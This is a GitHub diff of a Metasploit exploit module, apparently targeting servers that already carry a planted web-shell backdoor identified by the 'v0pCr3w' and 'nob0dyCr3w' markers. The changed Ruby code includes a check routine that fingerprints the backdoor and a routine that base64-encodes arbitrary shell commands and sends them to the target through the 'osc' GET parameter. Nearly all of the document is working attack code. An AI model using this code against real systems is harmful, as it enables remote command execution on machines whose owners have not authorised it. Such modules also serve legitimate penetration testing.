File tree Expand file tree Collapse file tree 1 file changed +15
-8
lines changed
modules/exploits/multi/misc Expand file tree Collapse file tree 1 file changed +15
-8
lines changed Original file line number Diff line number Diff line change @@ -53,21 +53,28 @@ def initialize(info={})
53
53
end
54
54
55
55
def check
56
- uri = normalize_uri ( datastore [ 'URI' ] )
57
- uri += "?lol=1"
58
-
59
- shell = send_request_raw ( { 'uri' => uri } , 25 )
56
+ shell = send_request_cgi ( {
57
+ 'method' => 'GET' ,
58
+ 'uri' => normalize_uri ( datastore [ 'URI' ] ) ,
59
+ 'vars_get' => {
60
+ 'lol' => '1'
61
+ }
62
+ } )
60
63
if ( shell and shell . body =~ /v0pCr3w\< br\> / and shell . body =~ /\< br\> nob0dyCr3w/ )
61
64
return Exploit ::CheckCode ::Vulnerable
62
65
end
63
66
return Exploit ::CheckCode ::Safe
64
67
end
65
68
66
69
def http_send_command ( cmd , opts = { } )
67
- p = Rex ::Text . uri_encode ( Rex ::Text . encode_base64 ( cmd ) )
68
- uri = normalize_uri ( datastore [ 'URI' ] )
69
- uri += '?osc=' + p
70
- res = send_request_raw ( { 'uri' => uri } , 25 )
70
+ p = Rex ::Text . encode_base64 ( cmd )
71
+ res = send_request_cgi ( {
72
+ 'method' => 'GET' ,
73
+ 'uri' => normalize_uri ( datastore [ 'URI' ] ) ,
74
+ 'vars_get' => {
75
+ 'osc' => p
76
+ }
77
+ } )
71
78
if not ( res and res . code == 200 )
72
79
fail_with ( Exploit ::Failure ::Unknown , 'Failed to execute the command.' )
73
80
end
You can’t perform that action at this time.
0 commit comments